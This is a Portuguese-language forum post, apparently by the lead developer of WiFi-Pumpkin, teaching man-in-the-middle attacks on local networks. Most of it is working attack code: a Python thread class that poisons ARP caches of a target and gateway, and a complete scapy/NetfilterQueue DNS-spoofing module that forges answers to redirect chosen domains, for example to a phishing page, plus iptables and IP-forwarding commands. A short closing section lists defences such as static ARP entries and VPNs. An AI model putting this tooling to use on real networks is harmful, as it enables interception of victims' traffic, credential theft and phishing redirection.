mh4x0f Posted November 1, 2019 Posted November 1, 2019 Iae Pessoas tudo bem ? Há alguns anos atrás comecei a codar um modulo sniffer de pacotes usando scapy para a tool WiFi-Pumpkin (WP) do PocL4bs Team, onde sou o principal dev. Es que estou aqui para mostrar algumas coisas interessante que acabei aprendendo no processo de desenvolvimento. Esse será meu primeiro post sobre python de muitos. let go... Quando comecei a implementação do módulo TCP proxy, antes disso estava procurando uma maneira melhor de fazer redirect de DNS request usando scapy sem apelar para iptables(diretamente). A ideia era criar um dns spoof que consiga redirecionar algums domínio selecionados para uma página de phishing por exemplo, no caso do WP que não precisa fazer arpspoof pois os dados da vitima já passam pelo atacante, com essa ideia em mente comecei a buscar informações sobre. Intrudução Se você leitor não sabe como funciona um ataque de man-in-the-middle, let me explain to you. "O wikipedia me diz que "O man-in-the-middle (pt: Homem no meio, em referência ao atacante que intercepta os dados) é uma forma de ataque em que os dados trocados entre duas partes (por exemplo, você e o seu banco), são de alguma forma interceptados, registrados e possivelmente alterados pelo atacante sem que as vitimas se apercebam." Essa é a explicação está correta e tecnicamente falando funciona da seguinte forma, digamos que de alguma forma o atacante precisa fazer com que os pacotes enviado pela vítima (sem proteção) precise passar por ele para depois ser enviado para o host destino ou melhor dizendo, para o servidor. dessa forma, é possível modificar os pacotes (do protocolo http) da forma que quisermos e então fazer modificações tais como: remover header, adicionar header, remover informações, alterar o código do corpo da requisição, redirecionar para outro website e por fim capturar as credenciais (PASSWORD) envida pela vitima. Existe várias formas de fazer esse tipo de ataque uma dela e mais comum é fazer uma baguncinha na rede fazendo com que os dados antes de ser mandado para o gateway local seja mandado pra você e logo em seguida seja enviado para o real destino o webserver original da requisição. É possível fazer essa baguncinha usando uma tool chamada de arpspoof (vem por default instalado no Kali Linux) na rede local, você pode programar seu próprio arpspoof ( com python mesmo ) fique tranquilo que iremos chegar lá em breve. A ideia por trás (arpspoof) ou melhor dizendo do ataque no protocolo arp é fazer uma alteração na tabela arp (Address Resolution Protocol – RFC 826) ou "portuguesando" spoofar de tal forma que possa confundir o gateway (roteador) e a máquina alvo, na verdade, essa mofidicação irá fazer com que todos os pacotes que antes seria enviado para o roteador (gateway), sejam enviado para a máquina do atacante que agora está sendo o novo roteador da rede local. o diagrama fica assim: +-------------+ <--------------------------+ +-------------+ -----> +---------------+ | Alvo | Original Tragetória | Router | | Aplicação web | +----+---+----+ +--------------------------> +----+---+----+ <----- +---------------+ ^ X | | X ^ | X v v X | | X Nova tragetória criada pelo atacente X | | X +-----------> +---------------+ <---------+ X | | XXXXXXXXXXXXXXX | Atacante | XXXXXXXXXXXXX | <-----------------+ +----------------> | arpspoof | +---------------+ Observe que nesse cenário temos a seguintes situação: o Alvo depois que o ataque de arpspoof é efetuado acaba enviando os dados, que normalmente seria enviado para o roteador para posteriomente enviar para a aplicação web, para o atacante na rede local. Dessa forma, o atacante tem total controle sobre os dados enviado e recebido (em HTTP) do cliente. O Atacante está a todo momento mando pacotes arp para o alvo e o roteador (gateway) simutaneamente para que o router passe a "achar" que o Atacante é o Alvo, e o Alvo acabe achando que o router é a máquina do Atacante, sendo assim obtemos o famoso ataque de man-in-the-middle. Só lembrando que esse processo não é complicado como parece na verdade se você escolher uma linguagem simples como python fica muito fácil a implementação. Configurações Antes de você querer sai por aí rederecionando os pacotes, você primeiro precisa saber como isso é possível. No linux é possível fazer algumas configurações a nível de kernel para fazer com que ele consiga fazer forward ou roteamento em uma rede. Isso que dizer que é possível colocamos uma máquina entre dois ou mais segmentos de rede, permitindo a livre passagem de pacotes entre estes sempre que for necessário, só lembrando que esse parâmetro já vez desabilitado (0) por padrão no linux. Essa modificação é "setada" nos parêmetros do kernel do linux, (aula de linux) basicamente temos dois tipos de parâmetros no linux, os de runtime que você pode alterar com o kernel rodando e os parâmetros mais fixos que a gente pode alterar durante o boot , no grub, e resumindo você pode fazer da seguinte formas: sudo sysctl -w net.ipv4.ip_forward=1 ou sudo echo 1 > /proc/sys/net/ipv4/ip_forward Usando qualquer uma das alternativas você irá obter o mesmo resultado, ou seja, mudar ip_forward para enable ou 1 ainda é possível fazer essa alteração Permanente, que não seria o nosso caso depois que terminar o experimento sempre desabilite essa opcão. Packets on the fly Normalmente essa parte é a que muitos tutoriais na internet acaba apelando para o iptables, que serve para adicionar uma regra de firewall a fim de redicionar as requisições de DNS para maquina do atacante. No entanto, usar o iptables acaba perdendo performance porque todos os pacotes para porta 53 seram redirecionados para um determinado serviço, que geralmente tem um webservices rodando uma pagina fake de algum site, gerando um delay na conexão. Pensando nisso resolvi pesquisar como melhorar essa interação de tal forma que possa ter um melhor aproveitamento e que pudesse ter um controle maior e mais direcionado na rede. Alguns dias se passaram e acabei achando uma lib em python que resolvia meus problemas e ainda melhor parte sem implementar do zero. o módulo do python é o [NetfilterQueue](https://pypi.org/project/NetfilterQueue/). Citar NetfilterQueue provides access to packets matched by an iptables rule in Linux. Packets so matched can be accepted, dropped, altered, or given a mark. Visite o site acima e procure instala-lo no seu sistema operacional linux, perceba que ele depende de uma lib chamada de libnetfilter-queue-dev que na verdade ela que faz todo trabalho pois ela é uma API para manipular packets que foram enfileirados pelo filtro de pacotes do kernel. Para entender como funciona NFqueue precisamos entender como a arquitetura dentro do kernel do linux. Quando um pacote é enviado para um destino NFqueue, ele é barrado e enfileirado (QUEUE) para uma fila que corresponde ao número da opção --queue-num (by default 1). iptables -I INPUT -d 192.168.0.0/24 -j NFQUEUE --queue-num 1 Essa fila de pacotes é implementada como uma lista encadeada, que os elementos são os pacotes e os metadados (linux skb socket buffer), quando você tiver um tempo pesquise sobre o protocolo que fica entre o userspace e kernel chamado nfnetlink, sem spoiler. Olha só como é simples usar esse módulo para controlar o fluxo de packets na rede. from netfilterqueue import NetfilterQueue def print_and_accept(pkt): print(pkt) pkt.accept() nfqueue = NetfilterQueue() nfqueue.bind(1, print_and_accept) try: nfqueue.run() except KeyboardInterrupt: print('') nfqueue.unbind() Imagine agora você fazer from scapy.all import \\ :D. "Combar" o scapy + NetfilterQueue é dizer para rede que você agora tem total controle sobre tudo, podemos também usar esse método para fazer analise de malware que de alguma forma se comunica em uma porta específica ou até mesmo um tipo de pacote específico. por exemplo, você pode controlar os pacotes enviados para uma determinada porta e modifica-lo como quiser. iptables -A OUTPUT -p tcp –dport 1337 -j NFQUEUE def callbackPackets(i, payload): data = payload.get_data() print(data) if __name__ == '__main__': q = nfqueue.queue() q.open() q.bind(socket.AF_INET) q.set_callback(callbackPackets) q.create_queue(0) try: q.try_run() except KeyboardInterrupt: print "Exiting..." q.unbind(socket.AF_INET) q.close() sys.exit(1) Se importarmos o módulo do scapy podemos mofificar,remontar, extrair e enviar o pacote. Com essa ideia resolvi criar meu próprio dnsspoof que iria criar um handler da porta 53 UDP para filtrar apenas os pacotes que seria requisições de DNS e dessa forma permitindo fazer redirecionamento para qualquer webservice. O scapy oferece suporte para detectar qualquer tipo de pacotes sem precisar fazer na mão, inclusive é possível saber até a camada antes de fazer qualquer modificação no pacote evitando pacotes quebrados por não ser do mesmo tipo. OBS: Só lembrando que tive extrema dificudade para rodar esse código threaded nas mariorias das tentativas a aplicação congelou (sinceramente não sei o porque talvez seja por ta usando esse tipo de filtro), foi preciso rodar em outra Process thread separadamente.. DNS (Domain Name System) Se você não conhece TCP/IP sugiro fortemente que leia o livro "tcp illustrated" ou leia a RFC mesmo sendo um livro antigo não mudou muita coisa, só foi acrescentada algumas camadas. defição: The Domain Name System (DNS) is a hierarchical decentralized naming system for computers, services, or other resources connected to the Internet or a private network. It associates various information with domain names assigned to each of the participating entities. O protocolo DNS usa UDP ( User Datagram Protocol ), não sei se ta certo( pesquise sobre isso e corrija se necessário) mas o protocolo UDP é usado pois as requisições precisam ser rapidas e como o TCP é bem mais chato de trabalhar pois são mais "seguros", a melhor opção é usar UDP mesmo. A porta associada como já citei acima é a 53 para server requests, os DNS queries são requisições enviada como se fosse um pedido um request enviado pelo cliente o server precisa mandar outro packet UDP reply. DNS packets overview: Com scapy module podemos reescrever esse tipo de requisição muito fácil, e posteriomente montar um novo pacote contendo a requição alterada. Dessa forma, podemos desmontar o pacote que o cliente enviou e pegar apenas a query onde contem o domain que ele deseja acessar tipo example.com. def callback(self,packet): payload = packet.get_payload() pkt = IP(payload) if not pkt.haslayer(DNSQR): packet.accept() else: print(pkt[DNS].qd.qname[:len(str(pkt[DNS].qd.qname))-1]) # www.example.com ###[ DNS Resource Record ]### rrname= 'www.example.com.' type= A rclass= IN ttl= 294 rdlen= 4 rdata= '93.184.216.34' Podemos remontar o packet modificando apenas rdata contendo o endereço IP do web server, podemos ainda redicionar o cliente para qualquer webserver sem alterar na URL no browser. spoofed_pkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)/\ UDP(dport=pkt[UDP].sport, sport=pkt[UDP].dport)/\ DNS(id=pkt[DNS].id, qr=1, aa=1, qd=pkt[DNS].qd,\ an=DNSRR(rrname=pkt[DNS].qd.qname, ttl=10, rdata='IP TO REDIRECT')) packet.set_payload(str(spoofed_pkt)) send(spoofed_pkt,verbose=False) packet.accept() ###[ DNS Resource Record ]### rrname= 'www.example.com.' type= A rclass= IN ttl= 294 rdlen= 4 rdata= 'IP TO REDIRECT' Como eu já mensionei anteriomente o scapy já da suporte para criar um novo packet do zero pegando as informações contidas no packet original, isso ajuda bastante porque fazer isso na mão byte a byte requer tempo e dinheiro, claro que dessa forma o você vai aprender muito mais sobre os campos do pacotes e do protocolo em si. uma boa prática é usar o scapy + wireshark para fazer esse tipo de análise. ARP spoofing ou ARP cache poisoning Você leitor vai pensando como se defender desse tipo de ataque, lógico no final irei apresentar algumas soluções, porque é um ataque simples de fazer e na maioria das vezes o atacante consegue éxito seja lá qual for a intenção dele, até mesmo tirar a conexão com a internet como algumas aplicativos fazem no android, por exemplo WiFikill que usa esssa mesma técnica a partir de um aparelho "rootiado". só pare resfescar a sua mente wiki: Citar ARP spoofing ou ARP cache poisoning é uma técnica em que um atacante envia mensagens ARP (Address Resolution Protocol) com o intuito de associar seu endereço MAC ao endereço IP de outro host, como por exemplo, o endereço IP do gateway padrão, fazendo com que todo o tráfego seja enviado para o endereço IP do atacante ao invés do endereço IP do gateway. Interpretando o texto acima, pereceba que a única coisa que o atacante faz é mandar packets ou messagens do tipo ARP para forçar o cliente ou a vítima mandar os requests para ele. Sabendo disso, a única informação que ele precisa no momento é saber quem é o gateway, ou melhor dizendo quem é o MAC (Media Access Control) do gatway, e o MAC da vítima que é muito simples de detectar em uma rede LAN (local area networks - LAN). Para montar o nosso packet ARP spoofing, precisamos apenas de duas informações como citei acima sourceMac and destMAC, não irei explicar cada um dos campos do pacotes pois essas informações é por sua conta amigo. diagrama: thread 1 Na prática fica assim: self.srcAddress = 'GATEWAY' self.dstAddress = 'TARGET' self.mac = 'ATACANTE' ether = Ether(dst = 'ff:ff:ff:ff:ff:ff',src = self.mac) parp = ARP(hwtype = 0x1,ptype = 0x800,hwlen = 0x6,plen = 0x4, op = "is-at",hwsrc = self.mac,psrc = self.srcAddress,hwdst = 'ff:ff:ff:ff:ff:ff',pdst = self.dstAddress) padding = Padding(load = "\x00"18) packet_arp= ether/parp/padding ATACANTE -"olá gateway, a partir de agora eu sou a máquina TARGET, então tudo que você for mandar pra esse MAC mande pra mim" Thread 2 self.srcAddress = 'TARGET' self.dstAddress = 'GATEWAY' self.mac = 'ATACANTE' ether = Ether(dst = 'ff:ff:ff:ff:ff:ff',src = self.mac) parp = ARP(hwtype = 0x1,ptype = 0x800,hwlen = 0x6,plen = 0x4, op = "is-at",hwsrc = self.mac,psrc = self.srcAddress,hwdst = 'ff:ff:ff:ff:ff:ff',pdst = self.dstAddress) padding = Padding(load = "\x00"18) packet_arp= ether/parp/padding ATACANTE -"olá TARGET, a partir de agora eu sou o GATEWAY, então tudo que você for mandar pra esse MAC mande pra mim" Isso rodando em thread separada e mandando repetidamente, e como diria prof. Yvis (Fisica total) simples assim fera. Como você pode ver acima, as duas threads tem algum semelhante, o que muda apenas macOrigem e o macDestino. logo, podemos escrever uma thread universal e apenas passsar os parâmetros para cada instância das threads ou fazer tudo em uma thread só mesmo você que escolhe, fica assim: from threading import Thread from scapy.all import class ThreadARPPoison(Thread): def __init__(self,srcAddress,dstAddress,mac): Thread.__init__(self) self.srcAddress = srcAddress self.dstAddress = dstAddress self.mac = mac self.process = True def makePacket(self): ether = Ether(dst = 'ff:ff:ff:ff:ff:ff',src = self.mac) parp = ARP(hwtype = 0x1,ptype = 0x800,hwlen = 0x6,plen = 0x4, op = "is-at",hwsrc = self.mac,psrc = self.srcAddress,hwdst = 'ff:ff:ff:ff:ff:ff',pdst = self.dstAddress) padding = Padding(load = "\x00"18) packet_arp= ether/parp/padding return packet_arp def run(self): print('[] starting thread') pkt = self.makePacket() while self.process: send(pkt,verbose=False, count=3),sendp(pkt,verbose=False, count=3) def stop(self): self.process = False print('[!] stop thread ') Mas como eu irei saber se realmente está funcionando o ataque ? para responder essa pergunta voltamos para o conhecimento de rede, para que uma ataque desse funcione alguma coisa teria que ser altera e essa coisa é examante a tabela ARP que no caso, como você ta fazendo esses teste em um ambiente simulado podemos verificar se essas modificações realmente estão acontecendo. no windows basta abrir o cmd e digitar o comando abaixo : arp -a Esse comando é básicamente para verificar se a tabela arp está "envenenada" como o pessoal costuma referenciar, a saída desse comando é algum assim: C:\Users\lab>arp -a Interface: 10.0.2.15 --- 0xb Endereço IP Endereço físico Tipo 10.0.2.1 01-00-5e-00-00-16 dinâmico (Gateway) 10.0.2.34 54-ff-32-a5-5c-b4 dinâmico 10.0.0.22 01-00-5e-00-00-16 dinâmico (Atacante) C:\Users\lab> Perceba que o endereço físico do atacante está igual ao endereço físico do gateway, isso significa que alguém está envenenando a tabela arp para que os dados sejam desviados. dessa forma, o atacante é capaz de ler e modificar em tempo real absolutamente todos os pacotes. código do Dnspoof usando module NetfilterQueue: #!/usr/bin/env python import argparse import logging logging.getLogger('scapy.runtime').setLevel(logging.ERROR) from scapy.all import * from netfilterqueue import NetfilterQueue """ Description: This program is a module for wifi-pumpkin.py file which includes new implementation for Dns spoof Attack with NetfilterQueue and iptables. Copyright: Copyright (C) 2015-2016 Marcos Nesster P0cl4bs Team This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see <http://www.gnu.org/licenses/> """ class DnsSpoofNetFilter(object): def __init__(self): """ implementation Dnsspoof with Netfilterqueue modules""" description = "Module DNS spoofing v0.1" usage = "Usage: use --help for futher information" parser = argparse.ArgumentParser(description = description, usage = usage) parser.add_argument('-d','--domains', dest = 'domains', help = 'Specify the domains', required = True) parser.add_argument('-r', '--redirect', dest = 'redirect', help = 'Redirect host ', required = True) self.args = parser.parse_args() def callback(self,packet): payload = packet.get_payload() pkt = IP(payload) if not pkt.haslayer(DNSQR): packet.accept() else: if pkt[DNS].qd.qname[:len(str(pkt[DNS].qd.qname))-1] in self.domain: self.logDNS.info('{} ->({}) has searched for: {}'.format(pkt[IP].src, self.redirect,pkt[DNS].qd.qname[:len(str(pkt[DNS].qd.qname))-1])) spoofed_pkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)/\ UDP(dport=pkt[UDP].sport, sport=pkt[UDP].dport)/\ DNS(id=pkt[DNS].id, qr=1, aa=1, qd=pkt[DNS].qd,\ an=DNSRR(rrname=pkt[DNS].qd.qname, ttl=10, rdata=self.redirect)) packet.set_payload(str(spoofed_pkt)) send(spoofed_pkt,verbose=False) packet.accept() elif len(self.domain) == 1 and self.domain[0] == '': self.logDNS.info('{} ->({}) has searched for: {}'.format(pkt[IP].src, self.redirect,pkt[DNS].qd.qname[:len(str(pkt[DNS].qd.qname))-1])) spoofed_pkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)/\ UDP(dport=pkt[UDP].sport, sport=pkt[UDP].dport)/\ DNS(id=pkt[DNS].id, qr=1, aa=1, qd=pkt[DNS].qd,\ an=DNSRR(rrname=pkt[DNS].qd.qname, ttl=10, rdata=self.redirect)) packet.set_payload(str(spoofed_pkt)) send(spoofed_pkt,verbose=False) packet.accept() else: packet.accept() def main(self): self.redirect, self.domain = self.args.redirect, self.args.domains.split(',') self.q = NetfilterQueue() self.q.bind(0, self.callback) self.q.run() if __name__ == "__main__": dnsspoof = DnsSpoofNetFilter() dnsspoof.main() Proteções contra ARP spoof Para se proteger desse tipo ataque, você pode evitar acessar redes desconhecidas/públicas. Além disso, o usar VPN é uma boa saída para evitar esse e qualquer outro tipo de ataque do tipo LAN, outra forma também muito recomendada é usar endereços stático da tabela arp, ou seja, quando você insere uma entrada estática na teblea ARP, informa ao seu computador que o endereço mac do roteador é permanente e não será alterado. Portanto, seu computador ignora qualquer pacote ARP falso enviado pelo atacante. netsh interface ipv4 add neighbors "Local Area Connection" Gateway MAC Para mobile a dica é use aplicativos para detectar se access point é realmente verdadeiro, sim existe aplicações free que analise o tipo de pacote enviado e dessa forma da pra saber se tem lá um hostapd, outra dica simples é não usar o browser do seu aparelho até mesmo o chrome que tem protoções como HSTS e etc. Por último e não menos importante temos a melhor solução de todas, essa é a solução que funciona para qualquer sistema operacional,"remova o cabo da internet ou do roteador". Isso é tudo pessoal. Conclusão Portanto, apesar que man-in-the-middle seja uma técnica antiga, ela ainda proprociona uma amaeça muito grande para o usuário comum e empresas no geral. Analizando os resultados obtidos, temos que usar o NetfilterQueue é a melhor opção, pois temos um maior controle sobre o pacote podendo usar para diferentes fim: analise de malware e pesquisa de vulnerabilidade em aplicações web. Em fim, as possibilidades são muitas só depende agora dá sua criatividade. Espero que tenha ajudado algum curioso como eu que sempre está aprendendo coisas novas. Qualquer crítica pode deixar nos comentários recomendo fortemente :D, até um futuro próximo. by: Marcos Bomfim a.k.a mh4x0f Referências https://pt.wikipedia.org/wiki/Ataque_man-in-the-middle http://unixwiz.net/techtips/iguide-kaminsky-dns-vuln.html https://pt.wikipedia.org/wiki/ARP_spoofing http://ispipdatanetworks-learning.blogspot.com/2015/10/arp-packet-format-and-different-types.html https://serverfault.com/questions/102736/persistent-static-arp-entries-on-windows-is-it-possible https://superuser.com/questions/391108/how-can-i-add-an-active-arp-entry-on-win-7
kassane Posted November 2, 2019 Posted November 2, 2019 Aliás no quesito da tradução MITM ao português seria mais interessante dizer: "Boi na linha".
mh4x0f Posted November 4, 2019 Author Posted November 4, 2019 Em 02/11/2019 em 10:46, kassane disse: Aliás no quesito da tradução MITM ao português seria mais interessante dizer: "Boi na linha". verdade , boa ideia !
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